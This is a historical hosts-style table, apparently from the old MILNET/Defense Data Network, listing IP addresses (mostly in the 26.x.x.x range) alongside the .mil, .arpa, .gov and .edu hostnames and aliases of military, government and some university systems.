26.9.0.15       camnet-ramstein.af.mil camnet-ramstein.arpa
26.16.0.15      erf-nah.arpa zbn-erfnah.army.mil
26.0.0.16       moffett.mt.ddn.mil moffett-mil-tac.arpa
26.1.0.16       arc-psn.arc.nasa.gov
26.2.0.16       amelia.nas.nasa.gov ames-nas.arpa ames-nas.nas.nasa.gov
129.99.20.1     amelia.nas.nasa.gov ames-nas.arpa ames-nas.nas.nasa.gov
26.3.0.16       nas-psn.nas.nasa.gov ames-nasb.arpa
10.1.0.8        nas-psn.nas.nasa.gov ames-nasb.arpa
128.102.32.5    nas-psn.nas.nasa.gov ames-nasb.arpa
26.4.0.16       mofnaf.navy.mil mofnaf.arpa
26.13.0.128     mofnaf.navy.mil mofnaf.arpa
26.6.0.16       sac-misc6.af.mil sac-misc6.arpa
26.8.0.16       gtewd.af.mil gtewd.arpa
26.0.0.17       mclean2.mt.ddn.mil mclean2-mil-tac.arpa
26.2.0.17       mclean.mt.ddn.mil mitre-mil-tac.arpa
26.3.0.17       mitre.arpa mwunix.mitre.org
128.29.104.0    mitre.arpa mwunix.mitre.org
26.6.0.17       his-fsd6.arpa
26.7.0.17       his-fsd8.arpa
26.10.0.17      ncpds-arlington.arpa
26.11.0.17      ddn-wms.arpa ddn-wms.dca.mil
26.12.0.17      fstc-chville.arpa
26.13.0.17      mclean-unisys.army.mil
26.14.0.17      cnrc.arpa
26.15.0.17      sysr-7cg.af.mil sysr-7cg.arpa sysr-7cg-ddn.arpa
26.16.0.17      dulles-ignet.army.mil ignet-prc.arpa
26.18.0.17      osi-2-gw.dca.mil
26.17.0.17      osi-2-gw.dca.mil
26.19.0.17      beast.ddn.mil
192.33.3.2      beast.ddn.mil
26.0.0.18       multics.radc.af.mil radc-multics.arpa
26.1.0.18       drum-perddims.army.mil perddims27.arpa
26.2.0.18       griffiss.mt.ddn.mil radc-mil-tac.arpa
26.5.0.18       lonex.radc.af.mil radc-lonex.arpa
26.8.0.18       lons.radc.af.mil
26.9.0.18       coins.cs.umass.edu cs-umass.edu
26.10.0.18      softvax.radc.af.mil radc-softvax.arpa
26.12.0.18      sutcase.af.mil sutcase.arpa
26.13.0.18      ftdrum-meprs.army.mil
26.14.0.18      griffiss-piv-1.af.mil
26.17.0.18      electra.cs.buffalo.edu buffalo-cs.arpa
128.205.34.9    electra.cs.buffalo.edu buffalo-cs.arpa
26.18.0.18      cs.rit.edu rit.arpa
26.24.0.18      mtf-plattsburgh.af.mil
26.27.0.18      ftdrum-ignet.army.mil
26.28.0.18      drum-tcaccis.army.mil
26.0.0.19       eagle.nist.gov nbs-vms.arpa nist.nbs.gov
26.3.0.20       oo1.af.mil oo1.arpa
26.4.0.20       hillmdss.af.mil hillmdss.arpa
26.5.0.20       hill.mt.ddn.mil hill1-mil-tac.arpa
26.6.0.20       hill-piv-1.af.mil
26.7.0.20       remis-oo.af.mil
26.8.0.20       edcars-oo.af.mil edcars-oo.arpa
26.9.0.20       dsacs10.arpa
26.10.0.20      oodis01.af.mil oodis01.arpa
192.12.100.3    oodis01.af.mil oodis01.arpa
26.11.0.20      aflc-oo-aisg1.af.mil aflc-oo-aisg1.arpa
26.12.0.20      mt-home-piv-1.af.mil mt-home-piv-1.arpa
26.13.0.20      mednet-oo.af.mil mednet-oo.arpa
26.16.0.20      ogden-dmins.dla.mil
26.19.0.20      snag-oo.af.mil snag-oo.arpa
26.4.0.21       sm-eds.af.mil sm-eds.arpa
26.5.0.21       oaknsc.navy.mil oaknsc.arpa
26.7.0.148      oaknsc.navy.mil oaknsc.arpa
26.7.0.21       oms-nws.navy.mil
26.0.0.22       mcclellan.mt.ddn.mil mcclellan-mil-tac.arpa
26.5.0.22       mcclelln-am1.af.mil mcclelln-am1.arpa
26.6.0.22       c3po.af.mil sm-alc-c3po.arpa
131.105.1.1     c3po.af.mil sm-alc-c3po.arpa
26.7.0.22       aflc-sm-dmmis1-si01.af.mil aflc-sm-dmmis1-si01.arpa
26.8.0.22       smdis01.af.mil rdb-sm.arpa
26.9.0.22       edcars-mcclellan.af.mil edcars-mcclellan.arpa
26.11.0.22      travis-piv-2.af.mil travis-piv-2.arpa
26.13.0.22      lewis-perddims.army.mil perddims20.arpa
26.18.0.22      beale-piv-1.af.mil
26.24.0.22      snag-sm.af.mil snag-sm.arpa
26.0.0.23       mcclellan2.mt.ddn.mil mcclellan2-mil-tac.arpa
26.4.0.23       sm1.af.mil sm1.arpa
26.5.0.23       mcclellan-mdss.af.mil mcclellan-mdss.arpa
26.6.0.23       aflc-sm-aisg1.af.mil aflc-sm-aisg1.arpa
26.8.0.23       netpmsa-bangor1.dca.mil netpmsa-bangor1.arpa terpss-ttf2.arpa
26.10.0.23      remis-sm.af.mil
26.12.0.23      mednet-sm.af.mil mednet-sm.arpa
26.0.0.24       nadc.arpa
26.1.0.24       dcrp.dla.mil dcrp.arpa
26.11.0.24      dcrp.dla.mil dcrp.arpa
26.3.0.24       johnsville.mt.ddn.mil johnsville-tac.arpa
26.5.0.24       ncpds-phili1.navy.mil ncpds-phili1.arpa
26.6.0.24       ncpds-phili2.navy.mil ncpds-phili2.arpa
26.7.0.24       dmadp.dma.mil dmaodsdcp.arpa
26.8.0.24       disc.arpa
26.9.0.24       dpsc.dla.mil dpsc.arpa
26.12.0.24      navmeducaphil.arpa
26.13.0.24      pera-crudes.navy.mil pera-crudes.arpa
26.14.0.24      burroughs-dev-2.dca.mil burroughs-dev-2.arpa
26.15.0.24      burroughs-dev-1.dca.mil burroughs-dev-1.arpa
26.19.0.24      philashpyd-poe.navy.mil philashpyd-poe.arpa
26.24.0.24      ccsu.arpa
26.2.0.25       mil-eds.af.mil mil-eds.arpa
26.3.0.25       croughton.mt.ddn.mil croughton-mil-tac.arpa
26.5.0.25       gre-eds.af.mil gre-eds.arpa
26.7.0.25       blnhmcsc-am1.af.mil
26.8.0.25       alconbry-piv-2.af.mil
26.9.0.25       mtf-upperheyford.af.mil mtf-upperheyford.arpa
26.11.0.25      upp-eds.af.mil upp-eds.arpa
26.12.0.25      fairford-am1.af.mil
26.14.0.25      mtf-ltlrsgtn.af.mil
26.15.0.25      mtf-fairford.af.mil mtf-fairford.arpa
26.16.0.25      mtf-grnhmcmn.af.mil
26.0.0.26       pentagon.mt.ddn.mil pentagon-mil-tac.arpa
26.1.0.26       pentagon-ignet.army.mil igmirs-daig.army.mil igmirs-daig.arpa
26.2.0.26       haflee.af.mil haflee.arpa
26.4.0.26       pentagon-opti.army.mil optimis-pent.arpa pentagon-emh1.army.mil
26.5.0.26       pent-gw-hq.af.mil
26.5.10.26      aad-hq.af.mil
26.5.27.26      hq.af.mil
26.5.70.26      vm7cg.af.mil vm7cg.arpa
26.6.0.26       msddnpent.af.mil msddnpent.arpa
26.7.0.26       coan.af.mil coan.arpa
26.8.0.26       fms2.af.mil fms2.arpa
26.12.0.26      navelexnet-crystal.arpa
26.13.0.26      nardac-nohims.arpa
26.24.0.26      opsnet-pentagon.af.mil opsnet-pentagon.arpa
26.1.0.27       holy-loch.mt.ddn.mil minet-hlh-mil-tac.arpa
26.4.0.27       oslo-am1.af.mil
26.6.0.27       menwithhill-am1.af.mil
26.8.0.27       dmris-keflavik.arpa
26.1.0.28       elmendorf.mt.ddn.mil elmendorf-mil-tac.arpa
26.2.0.28       ftrichardson-ignet.army.mil ignet-172d-infbde.arpa
26.4.0.28       richardson-perddims.army.mil perddims43.arpa
26.9.0.28       elmendrf-am1.af.mil elmendrf-am1.arpa
26.10.0.28      elmendorf-piv-2.af.mil elmendorf-piv-2.arpa
26.11.0.28      richards-tcaccis.army.mil
26.14.0.28      decco-ak.arpa
26.15.0.28      altos1.af.mil altos1.arpa
26.0.0.29       aberdeen.mt.ddn.mil brl-mil-tac.arpa
26.1.0.29       apg-emh1.apg.army.mil apg-1.apg.army.mil apg-1.arpa
26.2.0.29       brl.arpa brl.mil
26.4.0.29       dis.dla.mil dis.arpa
26.6.0.29       apg-emh2.army.mil apg-2.arpa
26.7.0.29       csta-1.apg.army.mil csta-one.arpa
26.9.0.29       apg-perddims.army.mil perddims38.arpa
26.14.0.29      aberdeen-ignet2.army.mil
26.20.0.29      apg-emh3.apg.army.mil apg-3.apg.army.mil apg-3.arpa
26.21.0.29      apg-emh4.apg.army.mil apg-4.apg.army.mil apg-4.arpa
26.22.0.29      apg-emh7.army.mil ilcn-apg.arpa
26.0.0.30       brooks.mt.ddn.mil brooks-mil-tac.arpa
26.1.0.30       afmpc-2.af.mil afmpc-2.arpa
26.2.0.30       sam-housto-mil80.army.mil mil-80-5bde.arpa
26.11.0.30      tisg-6.af.mil tisg-6.arpa
26.12.0.30      hqhsd.brooks.af.mil bafb-ddnvax.arpa
26.13.0.30      ed-san-ant.af.mil ed-san-ant.arpa
26.4.0.31       sds-norflka.arpa sds-norflka.navy.mil
26.6.0.31       monroe-tdss.army.mil
26.7.0.31       netpmsa-norfolk1.dca.mil netpmsa-norfolk1.arpa
26.8.0.31       nardacva.arpa
26.9.0.31       pera-asc.arpa
26.10.0.31      idanf.arpa
26.11.0.31      spawar08.arpa
26.12.0.31      seacenlant-portsmth.navy.mil
26.13.0.31      nohimsmidlant.arpa
26.14.0.31      qedvb.arpa
26.16.0.31      navmeducacda.arpa
26.17.0.31      cinclant-norfolk.navy.mil
26.18.0.31      ftmonroe-ignet2.army.mil monroe-ignet2.army.mil
26.24.0.31      norndc.navy.mil norndc.arpa
26.25.0.31      comnavairlant.navy.mil
26.26.0.31      sub-force.navy.mil
26.27.0.31      subship-portsmouth.navy.mil
26.0.0.32       greeley.mt.ddn.mil greely-mil-tac.arpa
26.5.0.32       ftgreely-adacs.army.mil
26.2.0.33       monterey.mt.ddn.mil nps-mil-tac.arpa
26.5.0.33       monterey-perddims.army.mil perddims36.arpa
26.6.0.33       cs.nps.navy.mil nps-cs.arpa
131.120.1.10    cs.nps.navy.mil nps-cs.arpa
26.7.0.33       monterey-asbn.army.mil
26.20.0.33      cc.nps.navy.mil nps.arpa
26.0.0.34       lbl-gw.arpa
26.4.0.34       san-franci-mil80.army.mil mil-80-6bde.arpa
26.6.0.34       mare-island-shipyd.navy.mil
26.10.0.34      vallejo1.arpa
26.11.0.34      netpmsa-vallej01.arpa terpss-vallej01.arpa
26.12.0.34      netpmsa-vallejo2.arpa terpss-vallejo2.arpa
26.13.0.34      netpmsa-vallejo3.arpa
26.0.0.35       sandiego2.mt.ddn.mil san-diego-mil-tac.arpa
26.1.0.35       nosc-tecr.arpa tecr.arpa tecr.nosc.mil
26.2.0.35       nosc-secure2.arpa
26.3.0.35       nosc-secure3.arpa
26.5.0.35       ntsc-pac.arpa vaxpac.arpa
26.6.0.35       nardac-sandiego.arpa
26.8.0.35       netpmsa-sandiego1.arpa
26.9.0.35       netpmsa-sandiego2.navy.mil
26.10.0.35      moccw.navy.mil
26.11.0.35      sndndc.arpa
26.12.0.35      sndndc.arpa
26.14.0.35      corona-pad4.arpa
26.15.0.35      nuwes-sd.navy.mil
26.16.0.35      bendix-sd.arpa
26.18.0.35      seacenpac-sandiego.navy.mil
26.1.0.36       hawaii-emh.pacom.mil hawaii-emh.arpa
26.3.0.36       smith.mt.ddn.mil hawaii2-mil-tac.arpa
26.5.0.36       nstcpvax.arpa ieln-ntecph.arpa
26.6.0.36       honolulu.army.mil perddims45.arpa
26.11.0.36      netpmsa-pearl1.arpa
26.1.0.37       atlanta-asims.army.mil asims-rdca1.arpa
26.2.0.37       mcpherson.mt.ddn.mil mcpherson-mil-tac.arpa
26.3.0.37       ftgillem-darms2.army.mil gillem-darms.army.mil
26.5.0.37       mcpherson-darms2.army.mil darms-2.arpa
26.6.0.37       mcpherson-darms1.army.mil darms-1.arpa
26.7.0.37       gordon-perddims.army.mil perddims32.arpa
26.9.0.37       columbia-aim1.af.mil columbia-aim1.arpa
26.11.0.37      soraaa.army.mil soraaa.arpa
26.13.0.37      gordon-jacs6360.army.mil gordon-jacs.army.mil
26.14.0.37      shaw-piv-1.af.mil shaw-piv-1.arpa
26.0.0.38       great-lakes.mt.ddn.mil greatlakes-mil-tac.arpa
26.5.0.38       dlsc1.arpa
26.14.0.115     dlsc1.arpa
26.6.0.38       drms.arpa comtenc.arpa
26.6.0.115      drms.arpa comtenc.arpa
26.7.0.38       dlsc2.arpa
26.7.0.115      dlsc2.arpa
26.9.0.38       netpmsa-gtlakes1.arpa
26.10.0.38      netpmsa-gtlakes2.arpa
26.11.0.38      netpmsa-gtlakes3.arpa
26.13.0.38      kisawyer-am1.af.mil kisawyer-am1.arpa
26.14.0.38      sheridan-asims2.army.mil
26.15.0.38      kisawyer-piv-1.af.mil kisawyer-piv-1.arpa
26.16.0.38      navmeducaglakes.arpa
26.29.0.38      sds-glakesa.arpa sds-glakesa.navy.mil
26.0.0.39       edwards.mt.ddn.mil edwards-mil-tac.arpa
26.1.0.39       edwards-2060.af.mil edwards-2060.arpa
26.2.0.39       edwards-vax.af.mil edwards-vax.arpa
26.6.0.39       mtf-edwards.af.mil mtf-edwards.arpa
26.7.0.39       george-piv-1.af.mil george-piv-1.arpa
26.8.0.39       norton-piv-1.af.mil norton-piv-1.arpa
26.9.0.39       edwards-piv-1.af.mil edwards-piv-1.arpa
26.11.0.39      edwards-am1.af.mil edwards-am1.arpa
26.13.0.39      edwards-argus.af.mil edwards-argus.arpa
26.14.0.39      asims-047.arpa
26.15.0.39      edwards-saftd-2.af.mil
26.0.0.40       cambridge.mt.ddn.mil bbn-mil-tac.arpa
26.3.0.40       ccz.bbn.com
26.4.0.40       supship-boston.navy.mil supship-boston.arpa
26.8.0.40       plattsburgh-piv-1.af.mil plattsburgh-piv-1.arpa
26.9.0.40       gw1.hanscom.af.mil esdvax2.arpa
129.53.0.101    gw1.hanscom.af.mil esdvax2.arpa
26.10.0.40      navmedcl-portsmouth.arpa
26.11.0.40      westover-piv-1.af.mil westover-piv-1.arpa
26.14.0.40      pease-piv-1.af.mil
26.16.0.40      ftdevens-meprs.army.mil
26.17.0.40      boston-dmins.dla.mil
26.29.0.40      nocws.dca.mil
26.0.0.41       redstone.mt.ddn.mil redstone-mil-tac.arpa
26.1.0.41       redstone-emh3.army.mil micom-test.arpa
26.2.0.41       redstone-emh4.army.mil usarec-2.arpa
26.3.0.41       milneth.ornl.gov ornl-msr.arpa
26.4.0.41       campbell-perddims.army.mil perddims14.arpa
26.5.0.41       bdmsc-hunt.arpa
26.6.0.41       redstone-perddims.army.mil perddims30.arpa
26.7.0.41       netpmsa-milln1.arpa
26.8.0.41       ncpds-oakridge9.arpa
26.9.0.41       redstone-ato.arpa
26.10.0.41      ncpds-oakridge8.arpa
26.11.0.41      mtf-montgomery.af.mil mtf-montgomery.arpa
26.8.0.79       mtf-montgomery.af.mil mtf-montgomery.arpa
26.12.0.41      idamfs.arpa
26.13.0.41      columbus-aim1.af.mil columbus-aim1.arpa
26.14.0.41      aedc-vax.af.mil
26.15.0.41      dsreds.arpa
26.16.0.41      camnet-arnold-r01.af.mil camnet-arnold-r01.arpa
26.17.0.41      redstone-meprs.army.mil
26.24.0.41      redstone-ignet.army.mil
26.25.0.41      redstone-emh2.army.mil micom.arpa
26.14.0.209     redstone-emh2.army.mil micom.arpa
26.26.0.41      redstone-emh1.army.mil mic01.arpa
26.7.0.209      redstone-emh1.army.mil mic01.arpa
26.0.0.42       ramstein2.mt.ddn.mil ramstein2-mil-tac.arpa
26.3.0.42       ramstein2-emh.af.mil ramstein2-emh.arpa ram-emc.arpa
26.7.0.42       ram-esims.af.mil ram-esims.arpa
26.8.0.42       ramstein-piv-1.af.mil ramstein-piv-1.arpa
26.9.0.42       lrc-eds.af.mil lrc-eds.arpa
26.10.0.42      ram-eds.af.mil ram-eds.arpa
26.11.0.42      baumholder-emh1.army.mil email-baumholdr.army.mil
26.12.0.42      mtf-ramstein.arpa mtf-ramstein.af.mil
26.14.0.42      mtf-hq.af.mil mtf-hq.arpa
26.15.0.42      ald-gdss.af.mil
26.15.0.15      ald-gdss.af.mil
26.0.0.43       shafter.mt.ddn.mil shaftr-mil-tac.arpa
26.4.0.43       shafter-asims.army.mil asims-045.arpa
26.5.0.43       pod-har.army.mil
26.6.0.43       pepo41.army.mil
26.7.0.43       deers-asmo.navy.mil
26.8.0.43       hawaii-emh1.pacom.mil
26.9.0.43       ftshafter-ignet2.army.mil
26.10.0.43      pod-hon.army.mil
26.8.0.100      pod-hon.army.mil
26.13.0.43      ftshaftr-jacs6358.army.mil
26.16.0.43      tamc-meprs.army.mil
26.18.0.43      pep042.army.mil
26.0.0.44       navmeducaorlando.arpa
26.1.0.44       ntsc-ate.arpa
26.3.0.44       orlando.mt.ddn.mil orlando-mil-tac.arpa
26.4.0.44       orlando-httds.arpa
26.6.0.44       sperry-system-11.dca.mil sperry-system-11.arpa sperry11.arpa
26.9.0.44       ftlauderdale.nswc.navy.mil nswc-fl.arpa
26.10.0.44      sds-orlanda.navy.mil
26.14.0.44      netpmsa-orlan4.arpa
26.15.0.44      netpmsa-orlan4.arpa
26.16.0.44      ntsc-74.navy.mil ntsc-74.arpa
26.17.0.44      ntsc-sef.arpa
26.18.0.44      orlando-emh1.army.mil pmtrade.arpa
26.0.0.45       dovernj.mt.ddn.mil ardec-mil-tac.arpa
26.1.0.45       pica.army.mil ardec.arpa
26.2.0.45       bayonne-tcaccis.army.mil tcaccis-bay.arpa
26.3.0.45       dover-emh1.army.mil pica-qa.arpa qa.pica.army.mil
26.6.0.45       dcrn2.arpa
26.10.0.58      dcrn2.arpa
26.11.0.45      pltsbrgh-am1.af.mil pltsbrgh-am1.arpa
26.13.0.45      drum-asims.army.mil asims-006.arpa
26.17.0.45      gw.pica.army.mil pica.arpa
192.12.8.4      gw.pica.army.mil pica.arpa
129.139.1.4     gw.pica.army.mil pica.arpa
26.20.0.45      dover-emh2.army.mil pica-lca.arpa lca.pica.army.mil
26.2.0.46       port-hueneme.mt.ddn.mil porthueneme-mil-tac.arpa
26.4.0.46       ptmpmt.arpa
26.5.0.46       dsacs08.army.mil dsacs08.arpa
26.6.0.46       navmeducahueneme.arpa
26.17.0.46      vaxb.navy.mil nswses.arpa vaxb.nswses.navy.mil
192.31.106.3    vaxb.navy.mil nswses.arpa vaxb.nswses.navy.mil
26.0.0.47       wrightpat.mt.ddn.mil wpafb-mil-tac.arpa
26.1.0.47       wpafb-afwal.arpa
26.2.0.47       wpafb-jalcf.arpa wpafb-jalcf.af.mil
26.6.0.47       dsac-g1.arpa
26.7.0.47       wpafb-afwp1.af.mil wpafb-afwp1.arpa
26.8.0.47       wright-pat-piv-1.af.mil
26.9.0.47       amis.af.mil amis.arpa
26.12.0.47      c-17igp.af.mil c-17igp.arpa
26.14.0.47      extender.afit.af.mil afitnet.arpa
26.15.0.47      logair-gw.arpa
192.31.226.1    logair-gw.arpa
26.18.0.47      wpafb-info5.af.mil wpafb-info5.arpa wpafb-info1.af.mil
26.21.0.47      wpafb-fdl.af.mil wpafb-fdl.arpa
26.22.0.47      lognet2.af.mil lognet2.arpa
192.12.64.2     lognet2.af.mil lognet2.arpa
26.0.0.48       kirtland.mt.ddn.mil kirtland-mil-tac.arpa
26.2.0.48       ddnvx2.afwl.af.mil afwl-vax.arpa
129.238.32.36   ddnvx2.afwl.af.mil afwl-vax.arpa
26.4.0.48       dna-field-command.dca.mil dna-field-command.arpa
26.5.0.48       ddnvx1.afwl.af.mil afwl.arpa
129.238.32.2    ddnvx1.afwl.af.mil afwl.arpa
26.6.0.48       dna-cafrms.arpa
26.7.0.48       kirtland-piv-rjets.af.mil kirtland-piv-rjets.arpa
26.9.0.48       hqafosp.af.mil hqafosp.arpa
26.11.0.48      afotec2.af.mil afotec2.arpa
26.14.0.48      cannon-piv-1.af.mil cannon-piv-1.arpa
26.0.0.49       ddn3.dca.mil ddn3.arpa
26.5.0.49       ncpds-argentia.arpa
26.6.0.49       devens-emh1.army.mil usaisd-aims.arpa
26.9.0.49       mtf-pease.af.mil mtf-pease.arpa
26.11.0.49      devens-asims.army.mil asims-022.arpa
26.12.0.49      loring-piv-1.af.mil loring-piv-1.arpa
26.14.0.49      submept.navy.mil submepp.arpa
26.0.0.50       alexandria.mt.ddn.mil darcom-mil-tac.arpa
26.1.0.50       alexandria-emh2.army.mil ari-hq1.arpa
26.2.0.50       alexandria-emh1.army.mil amc-hq.arpa
26.3.0.50       alexandria-emh3.army.mil pyramid-amc.arpa
26.4.0.50       alexandria-mil80.army.mil mil-80-per1.arpa
26.5.0.50       cafrms.arpa
26.6.0.50       washington-asims.army.mil asims-rdcw1.arpa
26.7.0.50       asims-dpcb1.arpa
26.10.0.50      moc120.arpa
26.11.0.50      radmis-onr.arpa
26.14.0.50      fmpmis.navy.mil
26.20.0.50      alexandria-emh4.army.mil usadhq2.arpa
26.21.0.50      etl.army.mil etl.arpa
26.22.0.50      alexandria-emh5.army.mil amc-4.arpa
26.0.0.51       randolph2.mt.ddn.mil randolph2-mil-tac.arpa
26.4.0.51       randolph-piv-1.af.mil randolph-piv-1.arpa
26.6.0.51       san-antonio-piv-2.af.mil
26.7.0.51       afmpc1.af.mil afmpc1.arpa
26.8.0.51       afmpc3.af.mil afmpc3.arpa
26.10.0.51      mtf-kelly.af.mil mtf-kelly.arpa
26.11.0.51      ddp1.af.mil ddp1.arpa
26.13.0.51      randolph-piv-3.af.mil randolph-piv-3.arpa
26.0.0.52       randolph3.mt.ddn.mil randolph3-mil-tac.arpa
26.4.0.52       camnet-randolph-r01.af.mil camnet-randolph-r01.arpa
26.5.0.52       sam-housto-darms.army.mil darms-7.arpa
26.8.0.52       san-antonio-piv-1.af.mil san-antonio-piv-1.arpa
26.11.0.52      randolph2-pc3.af.mil randolph2-pc3.arpa
26.12.0.52      mtf-bergstrom.af.mil mtf-bergstrom.arpa
26.15.0.52      afmpc-10.af.mil afmpc-10.arpa
26.16.0.52      randolph-pc3.af.mil randolph-pc3.arpa
26.17.0.52      bergstrm-am1.af.mil bergstrm-am1.arpa
26.0.0.53       uv6.eglin.af.mil afsc-ad.arpa
26.3.0.53       eglin.mt.ddn.mil afsc-ad-mil-tac.arpa
26.5.0.53       tyndall-am1.af.mil
26.6.0.53       uv4.eglin.af.mil eglin-vax.arpa
26.9.0.53       ntsc-pen.arpa
26.10.0.53      netpmsa-pens1.arpa
26.13.0.53      penndc.navy.mil penndc.arpa
26.5.0.158      penndc.navy.mil penndc.arpa
26.14.0.53      hrlbrtfd-am1.af.mil hrlbrtfd-am1.arpa camnet-hurl-r01.arpa
26.15.0.53      camnet-hurl-r02.af.mil camnet-hurl-r02.arpa
26.16.0.53      eglin-am1.af.mil eglin-am1.arpa
26.18.0.53      wims-tyn1.af.mil wims-tyn1.arpa
26.0.0.54       detrick.mt.ddn.mil detrick-mil-tac.arpa
26.1.0.54       ilcn-detrick.arpa
26.2.0.54       ritchie-perddims.army.mil perddims34.arpa
26.5.0.54       detrick-emh1.army.mil
26.6.0.54       detrick-hsc.army.mil hsc-detrick1.arpa
26.7.0.54       letterkenn-emh1.army.mil lead-1.arpa
26.11.0.54      detrick-hsc2.army.mil hsc-detrick2.arpa
26.13.0.54      mipca.navy.mil pad.arpa
26.14.0.54      alexandria-onet.army.mil absalex-emh.army.mil abs-alex.arpa
26.3.0.55       sheridan-mil801.army.mil mil-80-sher1.arpa
26.4.0.55       sheridan-mil802.army.mil mil-80-sher56.arpa
26.7.0.55       sperblomn.dca.mil sperblomn.arpa
26.10.0.55      dcri.arpa
26.8.0.38       dcri.arpa
26.11.0.55      xenurus.gould.com
26.13.0.55      crane-emh1.army.mil caaa.arpa
26.14.0.55      indinpls.navy.mil
26.16.0.55      wurtsmith-piv-1.af.mil wurtsmith-piv-1.arpa
26.29.0.55      mcs.anl.gov anl-mcs.arpa
26.0.0.57       dockmaster.ncsc.mil dockmaster.dca.mil dockmaster.arpa
26.4.0.58       hanscom-piv-1.af.mil hanscom-piv-1.arpa
26.8.0.58       wva-emh1.army.mil wva-1.arpa
26.15.0.58      supshipbrooklyn.arpa
26.0.0.59       scott.mt.ddn.mil scott-mil-tac.arpa
26.6.0.59       macisin-ii.af.mil macisin-ii.arpa
26.13.0.59      hqmac-gdss.af.mil hqmac-gdss.arpa
26.14.0.59      macisin-i.af.mil macisin-i.arpa
26.15.0.59      acfp-dev.af.mil
26.0.0.60       monmouth.mt.ddn.mil monmouth-mil-tac.arpa
26.1.0.60       cecom-2.arpa monmouth-emh2.army.mil
26.7.0.60       monmouth-perddims.army.mil perddims28.arpa
26.8.0.60       dix-perddims.army.mil perddims26.arpa
26.9.0.60       ftmonmth-meprs.army.mil
26.10.0.60      bayonne-autostrad.army.mil autostrad-bay.arpa
26.14.0.58      bayonne-autostrad.army.mil autostrad-bay.arpa
26.14.0.60      navwepstaearle.arpa
26.15.0.60      mcguire-piv-2.af.mil mcguire-piv-2.arpa
26.16.0.60      dover-piv-2.af.mil dover-piv-2.arpa
26.17.0.60      monmouth-emh1.army.mil networks.arpa
26.24.0.60      cecom-3.arpa monmouth-emh3.army.mil
26.0.0.61       saint-louis.mt.ddn.mil stlouis-mil-tac.arpa
26.3.0.61       st-louis-emh3.army.mil avscom.arpa
26.5.0.61       dmaac.dma.mil dmaacgad.arpa
26.7.0.61       st-louis-avnmam.army.mil dasp75.arpa
26.9.0.61       stlouis-ignet.army.mil st-louis-ignet.army.mil
26.10.0.61      whiteman-piv-1.af.mil whiteman-piv-1.arpa
26.15.0.61      stlouis-ignet2.army.mil st-louis-ignet2.army.mil
26.16.0.61      simastl.army.mil
192.35.148.1    simastl.army.mil
26.19.0.61      st-louis-emh4.army.mil stl4.arpa
26.0.0.62       roberts.mt.ddn.mil roberts-mil-tac.arpa
26.2.0.62       navmeducalemoore.arpa
26.6.0.62       vandenberg-am1.af.mil vandenberg-am1.arpa
26.8.0.62       lemnaf.navy.mil lemnaf.arpa
26.6.0.135      lemnaf.navy.mil lemnaf.arpa
26.17.0.62      roberts-emh1.army.mil
26.0.0.63       el-segundo2.mt.ddn.mil elsegundo-mil-tac.arpa
26.4.0.63       afsc-sdx.af.mil afsc-sdx.arpa
26.5.0.63       navmeducalongbeach.arpa
26.6.0.63       dava1.af.mil dava1.arpa
26.7.0.63       lbnsy.arpa
192.41.202.2    lbnsy.arpa
26.9.0.63       jpl-gdss.af.mil jpl-gdss.arpa
26.10.0.63      la-pacdpinet.army.mil
26.11.0.63      mtf-mather.af.mil
26.12.0.63      navshipyd-longbeach.arpa
26.13.0.63      supship-long-beach.arpa
26.15.0.63      van-nuys-dmins.dla.mil
26.16.0.63      elsegundo-dmins.dla.mil
26.24.0.63      losalmts-darms.army.mil
26.0.0.64       robins.mt.ddn.mil robins-mil-tac.arpa
26.4.0.64       ftmcpherson-ignet.army.mil forscom-ignet.army.mil igmirs-forscom
.arpa
26.8.0.64       gillem-mil80.army.mil mil-80-2bde.arpa
26.9.0.64       wr-hits.af.mil wr-hits.arpa
26.10.0.64      snag-wr.af.mil snag-wr.arpa
26.12.0.64      ftgillm-ignet.army.mil igmirs-ftgillm.army.mil igmirs-ftgillm.ar
pa
26.13.0.64      robinsmdss.af.mil robinsmdss.arpa
26.16.0.64      robins-piv-1.af.mil
26.0.0.65       el-segundo.mt.ddn.mil elsegundo2-mil-tac.arpa
26.2.0.65       aerospace.aero.org aero.org
192.5.9.3       aerospace.aero.org aero.org
130.221.192.10  aerospace.aero.org aero.org
26.4.0.65       jpl-milvax.arpa
128.1.13.0      jpl-milvax.arpa
26.11.0.65      dcrl.dla.mil dcrl.arpa
26.14.0.230     dcrl.dla.mil dcrl.arpa
26.30.0.65      afsc-ssd.af.mil afsc-sd.af.mil
26.1.0.66       afgl.arpa
26.2.0.66       hanscom.mt.ddn.mil afgl-mil-tac.arpa
26.6.0.66       eastlonex.radc.af.mil radc-eastlonex.arpa
26.7.0.66       gtewis.af.mil gtewis.arpa
26.8.0.66       gw2.hanscom.af.mil esdvax.arpa
26.13.0.66      afgl-vax.af.mil afgl-vax.arpa
26.14.0.66      drcvax.af.mil drcvax.arpa
26.15.0.66      hanscom-am1.af.mil hanscom-am1.arpa
26.19.0.66      supship-bath.navy.mil supship-bath.arpa
26.0.0.67       andrews.mt.ddn.mil afsc-hq-mil-tac.arpa
26.1.0.67       afsc-hq.arpa afsc-hq.af.mil
26.2.0.67       hqafsc-vax.af.mil hqafsc-vax.arpa
26.7.0.67       mqg.dca.mil mqg.arpa
26.9.0.67       indianhead.nswc.navy.mil nswc-ih.arpa
26.10.0.67      ftmeade-darms.army.mil meade-darms.army.mil darms-4.arpa
26.11.0.67      navsea-331.navy.mil
26.12.0.67      alexandria-ignet1.army.mil igmirs-cidc.army.mil igmirs-cidc.arpa
26.14.0.67      hqafsc-lons.af.mil
26.15.0.67      alexandria-ignet.army.mil igmirs-darcom.arpa
26.16.0.67      navsea-pms313.navy.mil
26.17.0.67      andrews-piv-1.af.mil andrews-piv-1.arpa
26.0.0.69       abrams2.mt.ddn.mil abrams2-mil-tac.arpa
26.4.0.69       frankfurt-asims.army.mil fra-asims.arpa
26.7.0.69       hanau-emh1.army.mil email-hanau.army.mil
26.8.0.69       aschaffenb-emh1.army.mil
26.10.0.69      frankfurt-ignet2.army.mil fra-ignet.army.mil
26.12.0.69      dar-ignet.army.mil
26.14.0.69      euraaa.army.mil
26.0.0.70       cmsc.dca.mil cmsc.arpa
26.3.0.70       dcaoc2.mt.ddn.mil dcaoc2-mil-tac.arpa
26.6.0.70       washngtn-meprs.army.mil
26.7.0.70       anacostia-onet.navy.mil
26.8.0.70       navyyard-onet.navy.mil
26.19.0.70      ddntrouble.dca.mil ddntrouble.arpa
26.0.0.71       okc-unix.arpa
26.1.0.71       ftsill-ignet.army.mil sill-ignet.army.mil igmirs-sill-ig.arpa
